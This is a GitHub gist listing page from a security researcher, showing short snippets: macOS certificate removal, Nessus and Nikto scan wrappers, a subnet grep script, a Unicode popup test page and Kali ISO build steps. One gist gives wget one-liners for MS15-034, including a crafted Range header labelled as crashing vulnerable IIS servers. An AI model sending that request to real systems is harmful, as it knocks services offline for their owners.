Skip to content

Instantly share code, notes, and snippets.

View jgamblin's full-sized avatar

Jerry Gamblin jgamblin

View GitHub Profile
@jgamblin
jgamblin / Del_China_Gov_Certs_OSX.SH
Last active October 23, 2015 14:02
Del_China_Gov_Certs_OSX.SH
#!/bin/bash
# Deletes CNNIC Root Certs from OSX 10.10.3
# WARNING: DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING (BECAUSE I DONT)
# IT WILL PROBABLY INSTALL WINDOWS 98 ON YOUR MAC.
function remove {
echo "Removing ${1}"
sudo security delete-certificate -t -Z $2 /System/Library/Keychains/SystemRootCertificates.keychain
}
@jgamblin
jgamblin / gist:78385829c9922b4b465d
Created April 16, 2015 01:48
Test for MS15-034 with WGET
#Use this just to test (Requested Range Not Satisfiable = vulnerable):
wget --header="Range: bytes=0-18446744073709551615" http://serveraddress/iis-85.png
#Use this to BSOD Vulnerable systems:
wget --header="Range: bytes=18-18446744073709551615" http://serveraddress/iis-85.png
@jgamblin
jgamblin / cloudscan.py
Last active November 7, 2017 09:57
A python script to run Nessus cloud scans by @jgamblin but mostly stolen from @averagesecguy.
#!/usr/bin/env python
# Name: cloudscan.py
# Purpose: Run Nessus Cloud Scans Easily.
# By: Jerry Gamblin
# Date: 11.05.15
# Modified 11.05.15
# Rev Level 0.5
# -----------------------------------------------
import requests
@jgamblin
jgamblin / niktome.py
Created May 15, 2015 21:01
Run nikto from an ssh host.
#!/usr/bin/env python
# Name: niktome.py
# Purpose: Run Nikto From My Cloud.
# By: Jerry Gamblin
# Date: 15.05.15
# Modified 15.05.15
# Rev Level 0.5
# -----------------------------------------------
@jgamblin
jgamblin / grepips.py
Created May 20, 2015 20:12
Python script to grep homepages on a subnet and will report if text is found.
#!/usr/bin/env python
# Name: grepips
# Purpose: #!/usr/bin/env python
# Name: grepips
# Purpose: grep a subnet and report if text is found.
# By: Jerry Gamblin
# Date: 20.05.15
# Modified 20.05.15
# Rev Level 0.1
## -----------------------------------------------
@jgamblin
jgamblin / noalert.html
Last active August 29, 2015 14:22
Evil Unicode Kills JavaScript PopUp
<!DOCTYPE html>
<html>
<body>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" >
<TITLE>effective. Power لُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ 冗</TITLE>
</head>
<p>Evil Unicode Wont Allow Popup:</p>
@jgamblin
jgamblin / compare.py
Created July 19, 2015 02:02
Compare Two Files In Python
#!/usr/bin/env python
# Name: compare.py
# Purpose: Compare File Informaation
# By: Jerry Gamblin
# Date: 18.07.15
# Modified 18.07.15
# Rev Level 0.1
# -----------------------------------------------

Keybase proof

I hereby claim:

  • I am jgamblin on github.
  • I am jgamblin (https://keybase.io/jgamblin) on keybase.
  • I have a public key whose fingerprint is 7FA0 DD59 A306 1072 E08C 814D C8CD 66A3 EFCE A51D

To claim this, I am signing this object:

@jgamblin
jgamblin / Kali 2.0 ISO Build
Created August 8, 2015 02:49
Build Your Own Kali 2.0 ISO
##################################################################
Install live-build
##################################################################
sudo apt-get isntall live-build
##################################################################
Git clone the live-build configs
##################################################################
git clone git://git.kali.org/live-build-config.git
@jgamblin
jgamblin / Kali 2.0 ISO Build
Last active June 11, 2022 14:42
Build Your Own Kali 2.0 ISO
##################################################################
Install live-build
##################################################################
sudo apt-get install live-build
##################################################################
Git clone the live-build configs
##################################################################
git clone git://git.kali.org/live-build-config.git